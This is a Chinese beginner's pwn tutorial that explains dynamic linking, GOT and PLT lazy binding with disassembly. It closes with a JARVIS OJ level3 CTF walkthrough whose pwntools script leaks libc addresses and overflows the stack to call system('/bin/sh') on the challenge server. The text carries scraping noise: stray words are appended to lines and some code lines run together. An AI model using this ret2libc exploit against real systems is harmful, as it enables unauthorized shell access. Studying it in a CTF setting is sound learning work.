PWN菜雞入門之棧溢出 (2)—— ret2libc與動態連接庫的關係

 

準備知識引用自https://www.freebuf.com/articles/rookie/182894.htmlhtml

0×01 利用思路

ret2libc 這種攻擊方式主要是針對 動態連接(Dynamic linking) 編譯的程序,linux

由於正常狀況下是沒法在程序中找到像 system() 、execve() 這種系統級函數shell

(若是程序中直接包含了這種函數就能夠直接控制返回地址指向他們,而不用經過這種麻煩的方式)。ubuntu

由於程序是動態連接生成的,因此在程序運行時會調用 libc.so (程序被裝載時,動態連接器會將程序全部所需的動態連接庫加載至進程空間,libc.so 就是其中最基本的一個)windows

libc.so 是 linux 下 C 語言庫中的運行庫glibc 的動態連接版,而且 libc.so 中包含了大量的能夠利用的函數數組

包括 system() 、execve() 等系統級函數,咱們能夠經過找到這些函數在內存中的地址覆蓋掉返回地址來得到當前進程的控制權。網絡

一般狀況下,咱們會選擇執行 system(「/bin/sh」) 來打開 shell, 如此就只剩下兩個問題:模塊化

一、找到 system() 函數的地址;函數

二、在內存中找到 「/bin/sh」 這個字符串的地址。學習

 

0×02 什麼是動態連接(Dynamic linking)

動態連接 是指在程序裝載時經過 動態連接器 將程序所需的全部 動態連接庫(Dynamic linking library) 裝載至進程空間中( 程序按照模塊拆分紅各個相對獨立的部分),

當程序運行時纔將他們連接在一塊兒造成一個完整程序的過程。它誕生的最主要的的緣由就是 靜態連接 太過於浪費內存和磁盤的空間,而且如今的軟件開發都是模塊化開發

不一樣的模塊都是由不一樣的廠家開發,在 靜態連接 的狀況下,一旦其中某一模塊發生改變就會致使整個軟件都須要從新編譯,

而經過 動態連接 的方式就推遲這個連接過程到了程序運行時進行。這樣作有如下幾點好處:

一、節省內存、磁盤空間

例如磁盤中有兩個程序,p一、p2,且他們兩個都包含 lib.o 這個模塊,在 靜態連接 的狀況下他們在連接輸出可執行文件時都會包含 lib.o 這個模塊,這就形成了磁盤空間的浪費。

當這兩個程序運行時,內存中一樣也就包含了這兩個相同的模塊,這也就使得內存空間被浪費。當系統中包含大量相似 lib.o 這種被多個程序共享的模塊時,也就會形成很大空間的浪費。

動態連接 的狀況下,運行 p1 ,當系統發現須要用到 lib.o ,就會接着加載 lib.o 。

這時咱們運行 p2 ,就不須要從新加載 lib.o 了,由於此時 lib.o 已經在內存中了,系統僅需將二者連接起來,此時內存中就只有一個 lib.o 節省了內存空間。

二、程序更新更簡單

好比程序 p1 所使用的 lib.o 是由第三方提供的,等到第三方更新、或者爲 lib.o 打補丁的時候,p1 就須要拿到第三方最新更新的 lib.o ,從新連接後在將其發佈給用戶。

程序依賴的模塊越多,就愈加顯得不方便,畢竟都是從網絡上獲取新資源。在 動態連接 的狀況下,第三方更新 lib.o 後,

理論上只須要覆蓋掉原有的 lib.o ,就沒必要從新連接整個程序,在程序下一次運行時,新版本的目標文件就會自動裝載到內存而且連接起來,就完成了升級的目標。

三、加強程序擴展性和兼容性

動態連接 的程序在運行時能夠動態地選擇加載各類模塊,也就是咱們經常使用的插件。

軟件的開發商開發某個產品時會按照必定的規則制定好程序的接口,其餘開發者就能夠經過這種接口來編寫符合要求的動態連接文件,

以此來實現程序功能的擴展。加強兼容性是表如今 動態連接 的程序對不一樣平臺的依賴差別性下降,好比對某個函數的實現機制不一樣,

若是是 靜態連接 的程序會爲不一樣平臺發佈不一樣的版本,而在 動態連接 的狀況下,只要不一樣的平臺都能提供一個動態連接庫包含該函數且接口相同,就只需用一個版本了。

總而言之,動態連接 的程序在運行時會根據本身所依賴的 動態連接庫 ,經過 動態連接器 將他們加載至內存中,並在此時將他們連接成一個完整的程序。

Linux 系統中,ELF 動態連接文件被稱爲 動態共享對象(Dynamic Shared Objects) , 簡稱 共享對象 通常都是以 「.so」 爲擴展名的文件;

在 windows 系統中就是經常軟件報錯缺乏 xxx.dll 文件。

 

0×03 GOT (Global offset Table)

瞭解完 動態連接 ,會有一個問題:共享對象 在被裝載時,如何肯定其在內存中的地址?

下面簡單的介紹一下,要使 共享對象 能在任意地址裝載就須要利用到 裝載時重定位 的思想,即在連接時對全部的絕對地址的引用不作重定位而將這一步推遲到裝載時再完成,

一旦裝載模塊肯定,系統就對全部的絕對地址引用進行重定位。可是隨之而來的問題是,指令部分沒法在多個進程之間共享,

這又產生了一個新的技術 地址無關代碼 (PIC,Position-independent Code),該技術基本思想就是將指令中須要被修改的部分分離出來放在數據部分

,這樣就能保證指令部分不變且數據部分又能夠在進程空間中保留一個副本,也就避免了不能節省空間的狀況。那麼從新定位後的程序是怎麼進行數據訪問和函數調用的呢?下面用實際代碼驗證 :

編寫兩個模塊,一個是程序自身的代碼模塊,另外一個是共享對象模塊。以此來學習動態連接的程序是如何進行模塊內、模塊間的函數調用和數據訪問,共享文件以下:

got_extern.c
​
#include <stdio.h>int b;
​
void test()
{
    printf("test\n");
}

 

編譯成32位共享對象文件:

gcc got_extern.c -fPIC -shared -m32 -o got_extern.so

-fPIC 選項是生成地址無關代碼的代碼,gcc 中還有另外一個 -fpic 選項,差異是fPIC產生的代碼較大可是跨平臺性較強而fpic產生的代碼較小,且生成速度更快可是在不一樣平臺中會有限制。通常會採用fPIC選項

-shared 選項是生成共享對象文件

-m32 選項是編譯成32位程序

-o 選項是定義輸出文件的名稱

編寫的代碼模塊:

got.c
#include <stdio.h>static int a;
extern int b;
extern void test();
​
int fun()
{
    a = 1;
    b = 2;
}
​
int main(int argc, char const *argv[])
{
    fun();
    test();
    printf("hey!");
​
    return 0;
}

 

和共享模塊一同編譯:

gcc got.c ./got_extern.so -m32 -o got

用 objdump 查看反彙編代碼 objdump -D -Mintel got:

000011b9 <fun>:
    11b9:   55                      push   ebp
    11ba:   89 e5                   mov    ebp,esp
    11bc:   e8 63 00 00 00          call   1224 <__x86.get_pc_thunk.ax>
    11c1:   05 3f 2e 00 00          add    eax,0x2e3f
    11c6:   c7 80 24 00 00 00 01    mov    DWORD PTR [eax+0x24],0x1
    11cd:   00 00 00 
    11d0:   8b 80 ec ff ff ff       mov    eax,DWORD PTR [eax-0x14]
    11d6:   c7 00 02 00 00 00       mov    DWORD PTR [eax],0x2
    11dc:   90                      nop
    11dd:   5d                      pop    ebp
    11de:   c3                      ret000011df <main>:
    11df:   8d 4c 24 04             lea    ecx,[esp+0x4]
    11e3:   83 e4 f0                and    esp,0xfffffff0
    11e6:   ff 71 fc                push   DWORD PTR [ecx-0x4]
    11e9:   55                      push   ebp
    11ea:   89 e5                   mov    ebp,esp
    11ec:   53                      push   ebx
    11ed:   51                      push   ecx
    11ee:   e8 cd fe ff ff          call   10c0 <__x86.get_pc_thunk.bx>
    11f3:   81 c3 0d 2e 00 00       add    ebx,0x2e0d
    11f9:   e8 bb ff ff ff          call   11b9 <fun>
    11fe:   e8 5d fe ff ff          call   1060 <test@plt>
    1203:   83 ec 0c                sub    esp,0xc
    1206:   8d 83 08 e0 ff ff       lea    eax,[ebx-0x1ff8]
    120c:   50                      push   eax
    120d:   e8 2e fe ff ff          call   1040 <printf@plt>
    1212:   83 c4 10                add    esp,0x10
    1215:   b8 00 00 00 00          mov    eax,0x0
    121a:   8d 65 f8                lea    esp,[ebp-0x8]
    121d:   59                      pop    ecx
    121e:   5b                      pop    ebx
    121f:   5d                      pop    ebp
    1220:   8d 61 fc                lea    esp,[ecx-0x4]
    1223:   c3                      ret    

 

一、模塊內部調用

main()函數中調用 fun()函數 ,指令爲:

 11f9: e8 bb ff ff ff        call   11b9 <fun>

fun() 函數所在的地址爲 0x000011b9 ,機器碼 e8 表明 call 指令,爲何後面是 bb ff ff ff 而不是 b9 11 00 00 (小端存儲)呢?

這後面的四個字節表明着目的地址相對於當前指令的下一條指令地址的偏移,即 0x11f9 + 0×5 + (-69) = 0x11b9 ,

0xffffffbb 是 -69 的補碼形式,這樣作就可使程序不管被裝載到哪裏都會正常執行。

二、模塊內部數據訪問

ELF 文件是由不少不少的 段(segment) 所組成,常見的就如 .text (代碼段) 、.data(數據段,存放已經初始化的全局變量或靜態變量)、

.bss(數據段,存放未初始化全局變量)等,這樣就能作到數據與指令分離互不干擾。在同一個模塊中,

通常前面的內存區域存放着代碼後面的區域存放着數據(這裏指的是 .data 段)。那麼指令是如何訪問遠在 .data 段 中的數據呢?

觀察 fun() 函數中給靜態變量 a 賦值的指令:

   11bc:   e8 63 00 00 00          call   1224 <__x86.get_pc_thunk.ax>
    11c1:   05 3f 2e 00 00          add    eax,0x2e3f
    11c6:   c7 80 24 00 00 00 01    mov    DWORD PTR [eax+0x24],0x1
    11cd:   00 00 00 

 

從上面的指令中能夠看出,它先調用了 __x86.get_pc_thunk.ax() 函數:

00001224 <__x86.get_pc_thunk.ax>:
    1224:   8b 04 24                mov    eax,DWORD PTR [esp]
    1227:   c3                      ret    

 

這個函數的做用就是把返回地址的值放到 eax 寄存器中,也就是把0x000011c1保存到eax中,而後再加上 0x2e3f ,最後再加上 0×24 。

即 0x000011c1 + 0x2e3f + 0×24 = 0×4024,這個值就是相對於模塊加載基址的值。經過這樣就能訪問到模塊內部的數據。

三、模塊間數據訪問

變量 b 被定義在其餘模塊中,其地址須要在程序裝載時纔可以肯定。利用到前面的代碼地址無關的思想,把地址相關的部分放入數據段中,

然而這裏的變量 b 的地址與其自身所在的模塊裝載的地址有關。解決:ELF 中在數據段裏面創建了一個指向這些變量的指針數組

也就是咱們所說的 GOT 表(Global offset Table, 全局偏移表 ),它的功能就是當代碼須要引用全局變量時,能夠經過 GOT 表間接引用。

查看反彙編代碼中是如何訪問變量 b 的:

  
    11bc:   e8 63 00 00 00          call   1224 <__x86.get_pc_thunk.ax>
    11c1:   05 3f 2e 00 00          add    eax,0x2e3f
    11c6:   c7 80 24 00 00 00 01    mov    DWORD PTR [eax+0x24],0x1
    11cd:   00 00 00 
    11d0:   8b 80 ec ff ff ff       mov    eax,DWORD PTR [eax-0x14]
    11d6:   c7 00 02 00 00 00       mov    DWORD PTR [eax],0x2

 

計算變量 b 在 GOT 表中的位置,0x11c1 + 0x2e3f – 0×14 = 0x3fec ,查看 GOT 表的位置。

命令 objdump -h got ,查看ELF文件中的節頭內容:

 21 .got          00000018  00003fe8  00003fe8  00002fe8  2**2
                CONTENTS, ALLOC, LOAD, DATA

這裏能夠看到 .got 在文件中的偏移是 0x00003fe8,如今來看在動態鏈接時須要重定位的項,使用 objdump -R got 命令

00003fec R_386_GLOB_DAT    b

能夠看到變量b的地址須要重定位,位於0x00003fec,在GOT表中的偏移就是4,也就是第二項(每四個字節爲一項),這個值正好對應以前經過指令計算出來的偏移值。

四、模塊間函數調用

模塊間函數調用用到了延遲綁定,都是函數名@plt的形式,後面再說

11fe: e8 5d fe ff ff        call   1060 <test@plt>

 

0×04 延遲綁定(Lazy Binding) && PLT(Procedure Linkage Table)

由於 動態連接 的程序是在運行時須要對全局和靜態數據訪問進行GOT定位,而後間接尋址。

一樣,對於模塊間的調用也須要GOT定位,再才間接跳轉,這麼作勢必會影響到程序的運行速度。

並且程序在運行時很大一部分函數均可能用不到,因而ELF採用了當函數第一次使用時才進行綁定的思想,也就是咱們所說的 延遲綁定

ELF實現 延遲綁定 是經過 PLT ,原先 GOT 中存放着全局變量和函數調用,如今把他拆成另個部分 .got 和 .got.plt

,用 .got 存放着全局變量引用,用 .got.plt 存放着函數引用。查看 test@plt 代碼,用 objdump -Mintel -d -j .plt got

-Mintel 選項指定 intel 彙編語法 -d 選項展現可執行文件節的彙編形式 -j 選項後面跟上節名,指定節

00001060 <test@plt>:
    1060:   ff a3 14 00 00 00       jmp    DWORD PTR [ebx+0x14]
    1066:   68 10 00 00 00          push   0x10
    106b:   e9 c0 ff ff ff          jmp    1030 <.plt>

 

查看 main()函數 中調用 test@plt 的反彙編代碼

  
    11ee:   e8 cd fe ff ff          call   10c0 <__x86.get_pc_thunk.bx>
    11f3:   81 c3 0d 2e 00 00       add    ebx,0x2e0d
    11f9:   e8 bb ff ff ff          call   11b9 <fun>
    11fe:   e8 5d fe ff ff          call   1060 <test@plt>

 

x86.gett_pc_thunk.bx 函數與以前的 x86.get_pc_thunk.ax 功能同樣 ,得出 ebx = 0x11f3 + 0x2e0d = 0×4000 ,ebx + 0×14 = 0×4014 。首先 jmp 指令,跳轉到 0×4014 這個地址,這個地址在 .got.plt 節中 :

也就是當程序須要調用到其餘模塊中的函數時例如 fun() ,就去訪問保存在 .got.plt 中的 fun@plt 。

這裏有兩種狀況,第一種就是第一次使用這個函數,這個地方就存放着第二條指令的地址,也就至關於什麼都不作。

用 objdump -d -s got -j .got.plt 命令查看節中的內容

-s 參數顯示指定節的全部內容

4014 處存放着 66 10 00 00 ,由於是小端序因此應爲 0×00001066,這個位置恰好對應着 push 0×10 這條指令,這個值是 test 這個符號在 .rel.plt 節中的下標。繼續 jmp 指令跳到 .plt 處

push DWORD PTR [ebx + 0x4] 指令是將當前模塊ID壓棧,也就是 got.c 模塊,接着 jmp DWORD PTR [ebx + 0x8] ,

這個指令就是跳轉到 動態連接器 中的 dl_runtime_resolve 函數中去。

這個函數的做用就是在另外的模塊中查找須要的函數,就是這裏的在 got_extern.so 模塊中的 test 函數。

而後dl_runtime_resolve函數會將 test() 函數的真正地址填入到 test@got 中去也就是 .got.plt 節中。那麼第二種狀況就是,當第二次調用test()@plt 函數時,就會經過第一條指令跳轉到真正的函數地址。

整個過程就是所說的經過 plt 來實現 延遲綁定 。程序調用外部函數的整個過程就是,第一次訪問 test@plt 函數時

動態連接器就會去動態共享模塊中查找 test 函數的真實地址而後將真實地址保存到test@got中(.got.plt);

第二次訪問test@plt時,就直接跳轉到test@got中去。

 

0×05 JARVIS OJ LEVEL3

cjx@ubuntu:~$ checksec '/home/cjx/Desktop/level3' 
[*] '/home/cjx/Desktop/level3'
   Arch:     i386-32-little
   RELRO:    Partial RELRO
   Stack:    No canary found
   NX:       NX enabled
   PIE:      No PIE (0x8048000)

開啓了堆棧不可執行

首先寫腳本以前應作好準備工做,好比readelf把so文件中幾個關鍵函數和字符串搜一遍

root@kali:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "read@"
   571: 000daf60   125 FUNC    WEAK   DEFAULT   12 __read@@GLIBC_2.0
   705: 0006f220    50 FUNC    GLOBAL DEFAULT   12 _IO_file_read@@GLIBC_2.0
   950: 000daf60   125 FUNC    WEAK   DEFAULT   12 read@@GLIBC_2.0
  1166: 000e0c40  1461 FUNC    GLOBAL DEFAULT   12 fts_read@@GLIBC_2.0
  1263: 000ec390    46 FUNC    GLOBAL DEFAULT   12 eventfd_read@@GLIBC_2.7
  1698: 000643a0   259 FUNC    WEAK   DEFAULT   12 fread@@GLIBC_2.0
  2181: 000c3030   204 FUNC    WEAK   DEFAULT   12 pread@@GLIBC_2.1
  2300: 000643a0   259 FUNC    GLOBAL DEFAULT   12 _IO_fread@@GLIBC_2.0
root@kali:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "system@"
   620: 00040310    56 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
root@kali:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "exit@"
   111: 00033690    58 FUNC    GLOBAL DEFAULT   12 __cxa_at_quick_exit@@GLIBC_2.10
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
   554: 000b5f24    24 FUNC    GLOBAL DEFAULT   12 _exit@@GLIBC_2.0
   609: 0011c2a0    56 FUNC    GLOBAL DEFAULT   12 svc_exit@@GLIBC_2.0
   645: 00033660    45 FUNC    GLOBAL DEFAULT   12 quick_exit@@GLIBC_2.10
   868: 00033490    84 FUNC    GLOBAL DEFAULT   12 __cxa_atexit@@GLIBC_2.1.3
  1037: 00126800    60 FUNC    GLOBAL DEFAULT   12 atexit@GLIBC_2.0
  1492: 000f9160    62 FUNC    GLOBAL DEFAULT   12 pthread_exit@@GLIBC_2.0
  2243: 00033290    77 FUNC    WEAK   DEFAULT   12 on_exit@@GLIBC_2.0
  2386: 000f9cd0     2 FUNC    GLOBAL DEFAULT   12 __cyg_profile_func_exit@@GLIBC_2.2
root@kali:~/Desktop/Pwn/level3# strings -a -t x ./libc-2.19.so | grep "/bin/sh"
 16084c /bin/sh

 

篩選以後獲得

 950: 000daf60   125 FUNC    WEAK   DEFAULT   12 read@@GLIBC_2.0
1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
16084c /bin/sh

思路

Step1:經過vulnerable_function中的read構造棧溢出,而且覆寫返回地址爲plt中write的地址
Step2:經過write泄露出read在內存中的絕對地址,而且接着調用vulnerable_function(PS:got中的read保存着read在內存中的真實地址)
Step3:計算出system和/bin/sh的絕對地址,再經過vulnerable_function構造棧溢出進行覆寫

 

 

同時也能夠經過IDA來搜索

編寫EXP:

from pwn import *
r=remote('pwn2.jarvisoj.com',9879)
e=ELF('./level3')
 
plt_write=hex(e.plt['write'])
got_read=hex(e.got['read'])
vulfuncadr=hex(e.symbols['vulnerable_function'])
plt_write_args=p32(0x01)+p32(int(got_read,16))+p32(0x04)
#調用順序:func1_address+func2_adress+……+func1_argslist+func2_argslist+……
payload1='A'*(0x88+0x4)+p32(int(plt_write,16))+p32(int(vulfuncadr,16))+plt_write_args
 
r.recv()
r.send(payload1)
readadr=hex(u32(r.recv()))#泄露read絕對地址
 
#   950: 000daf60   125 FUNC    WEAK   DEFAULT   12 read@@GLIBC_2.0
#  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
#   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
# 16084c /bin/sh
 
libc_read=0x000DAF60
offset=int(readadr,16)-libc_read #計算偏移量
sysadr=offset+0x00040310 #system絕對地址
xitadr=offset+0x00033260 #exit絕對地址
bshadr=offset+0x0016084C #binsh絕對地址
payload2='A'*(0x88+0x4)+p32(sysadr)+p32(xitadr)+p32(bshadr)
 
r.send(payload2)
r.interactive()
​
相關文章
相關標籤/搜索